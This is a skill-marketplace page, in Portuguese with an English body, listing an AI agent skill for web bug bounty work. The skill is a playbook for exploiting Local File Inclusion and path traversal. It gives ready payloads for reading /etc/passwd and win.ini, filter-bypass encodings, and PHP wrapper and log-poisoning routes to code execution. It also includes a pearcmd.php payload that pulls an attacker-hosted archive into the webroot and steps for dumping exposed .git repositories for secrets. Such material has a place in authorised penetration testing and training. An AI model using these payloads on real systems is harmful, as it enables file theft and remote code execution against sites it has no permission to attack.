Pular para o conteúdo
Novo

DeepSeek V4.1 Flash grátis por 7 dias: 10M tokens por dia após recarga de $10 ou mais. Até 30/11.

Como funciona
noorqureshi/web-lfi-path-traversalWeb e bug bounty

web-lfi-path-traversal

⁨Local File Inclusion / path traversal → read files, sometimes RCE. Load when a param names a file/path/template/page: ?file=, ?page=, ?template=, ?download=, ?lang=, or path segments. Signals: filenames in params, "include", download endpoints, `../` filtered, `.php?page=`.⁩

v2026.10.14-ee0e0c53 instalações+3 em 7 dias27 EstrelasMITsincronizado há 22 horas

Instalar

Ainda não tem a CLI da NotHoly? Instale primeiro.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-lfi-path-traversal

Grava em ⁦~/.notholy/skills⁩ depois de conferir a assinatura e o SHA-256.

AssinaturaAssinado, ed25519
hGrf3nWFpu…+jKWlzAQ==A CLI confere o SHA-256 e a assinatura antes de gravar qualquer arquivo.
Pacote0865eb91…43298704
0865eb9147a2…8769432987041 arquivo · ⁦1.6 KB⁩
VarreduraBaixonenhum achado
A varredura não encontrou nada para apontar nesta versão.Ver a varredura completa
Fontegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-lfi-path-traversal@ee0e0c5

Este item ainda não foi escrito no seu idioma, então aparece em English.

When it applies

A parameter or path segment controls which file the server reads/includes. Path traversal reads arbitrary files; LFI (include) can execute them → RCE.

Why it works

The app builds a filesystem path from user input without normalizing/constraining it, so ../ sequences escape the intended directory. If the value is included (PHP), included content is executed.

Method

  1. Read a canary: ?file=/etc/passwd, then traversal ?file=../../../../etc/passwd; on Windows ..\..\..\windows\win.ini.
  2. Defeat filters: URL-encode ..%2f, double ..%252f, ....// (strip-once), overlong %c0%af, null %00 (old PHP), absolute paths, nested .....
  3. PHP wrappers → source/RCE: php://filter/convert.base64-encode/resource=index.php (read source), data:///expect://, and log poisoning (write PHP into a log via User-Agent, then include the log) or session//proc/self/environ inclusion for RCE.
  4. PEAR pearcmd.php LFI→RCE (very common on PHP hosts with register_argc_argv=On and PEAR installed): include /usr/local/lib/php/pearcmd.php and pass args via the query string, e.g. ?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+<attacker.tgz-URL> to write attacker-controlled content into the webroot, then request it. The trick is that register_argc_argv lets pearcmd read argv from the URL query — no upload needed.
  5. Enumerate targets: config files, keys, app source, history files, and an exposed /.git/ (grab .git/HEAD/config → dump the repo → git log -p for deleted secrets); ffuf a LFI wordlist.

Gotchas

  • A forced extension (include $p.".php") blocks arbitrary read → try wrappers or null byte (old PHP).
  • Traversal (read-only) vs LFI (include→exec) are different ceilings — check whether output is executed.
  • Read the app's own source via php://filter to find the next bug faster.

Verify success

Contents of a file outside the intended directory returned (e.g. /etc/passwd, app config/ source), or code execution via a wrapper/log-poisoning include.

References

PortSwigger path-traversal labs; LFI-to-RCE cheat sheets; OWASP path traversal.

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosNãoNão
Grava arquivosNãoNão
Roda comandos no shellNãoNão
Usa a redeNãoNão
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

A varredura não encontrou nada para apontar nesta versão.

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v2026.10.14-ee0e0c513 de nov. de 2026ee0e0c50865eb91Assinada–

Pergunte tudo o que o seu escopo permite.

Crie a conta, adicione créditos e faça a primeira pergunta no chat ou no terminal.

  1. 1/3

    Crie a conta

    Individual ou empresa. Dá para virar empresa depois sem perder saldo nem chaves.

    Pessoa físicaEmpresa
  2. 2/3

    Adicione créditos

    No cartão. Você paga por token, sem assinatura.

    $5.00recarga mínima
  3. 3/3

    Pergunte

    No chat, ou instale o CLI e rode notholy login no terminal.

    $ notholy login